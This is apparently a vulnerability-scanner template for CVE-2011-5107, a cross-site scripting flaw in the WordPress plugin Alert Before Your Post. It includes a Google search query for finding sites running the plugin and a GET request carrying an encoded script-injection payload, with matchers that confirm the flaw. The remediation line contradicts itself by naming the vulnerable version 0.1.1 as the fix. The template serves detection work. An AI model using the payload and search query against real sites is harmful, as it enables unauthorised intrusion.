id: CVE-2011-5107

info:
  name: Alert Before Your Post <= 0.1.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting  vulnerability in post_alert.php in Alert Before Your Post plugin, possibly 0.1.1 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the name parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Alert Before Your Post plugin (0.1.1) or remove the plugin if it is not necessary for the website's functionality.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5107 https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-alert-before-your-post-cross-site-scripting-0-1-1/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71413
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-5107
    cwe-id: CWE-79
    epss-score: 0.00232
    epss-percentile: 0.61114
    cpe: cpe:2.3:a:wordpress:alert_before_you_post:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wordpress
    product: alert_before_you_post
    google-query: inurl:"/wp-content/plugins/alert-before-your-post"
  tags: cve,cve2011,wordpress,xss,wp-plugin

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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